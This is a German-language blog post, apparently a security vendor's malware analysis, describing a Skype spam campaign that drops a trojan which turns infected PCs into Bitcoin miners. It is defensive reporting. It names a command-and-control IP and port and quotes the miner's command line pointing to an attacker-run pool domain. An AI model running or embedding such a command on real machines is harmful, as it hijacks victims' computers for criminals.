Skypemageddon durch Bitcoining

Ich sage das, weil mir eine Freundin aus Venezuela, kurz nachdem ich meinen vorangegangen Post veröffentlicht hatte, einen Screenshot ihres Skype-Clients geschickt hat, mit einer in Bezug auf die Verbreitung ähnlichen Kampagne, allerdings ist sie anderen Ursprungs und dient einem anderen Zweck. Hier der Original-Screenshot:

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(Übersetzung aus dem Spanischen: “ das ist mein Lieblingsbild von Dir”)

Diese Kampagne wurde am 4. April gestartet und dauert aktuell noch an:

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Die durchschnittliche Klickzahl ist mit mehr als 2.000 pro Stunde ebenfalls ausgesprochen hoch. Die meisten potentiellen Opfer leben in Italien, gefolgt von Russland, Polen, Costa Rica, Spanien, Deutschland, der Ukraine und anderen.

Der ursprüngliche Dropper wird von einem Server in Indien heruntergeladen. Die Detektionsrate bei VirusTotal ist gering. Ist der Rechner einmal infiziert, so wird eine Vielzahl von anderen Schadprogrammen auf das System befördert. Die Downloads kommen von dem Dienst Hotfile.com. Gleichzeitig verbindet sich die Malware mit ihrem C2-Server, der sich in Deutschland befindet.

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Die IP-Adresse des C2 lautet 213.165.68.138:9000

Und was richtet die Malware aus? Ehrlich gesagt vieles, doch am interessantesten ist, dass sie den infizierten Rechner zu einem Sklaven des Bitcoin-Generators macht. Die CPU-Auslastung steigt enorm. Hier ein Beispiel:

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Der erwähnte Prozess läuft mit dem Befehl “bitcoin-miner.exe -a 60 -l no -o http://suppp.cantvenlinea.biz:1942/ -u XXXXXX0000001@gmail.com -p XXXXXXXX” (sensitive Daten wurden ersetzt durch XXXXXX). Er missbraucht die CPU von infizierten Rechnern, um Bitcoins für die Cyberkriminellen zu generieren.

Wie schon gesagt, ist die Kampagne recht aktiv. Wenn Sie bemerken, dass Ihr Computer schwer zu schaffen hat und alle verfügbaren CPU-Ressourcen einsetzt, so könnte das System infiziert sein.

Der Erstdropper wird von Kaspersky Lab als Trojan.Win32.Jorik.IRCbot.xkt detektiert.

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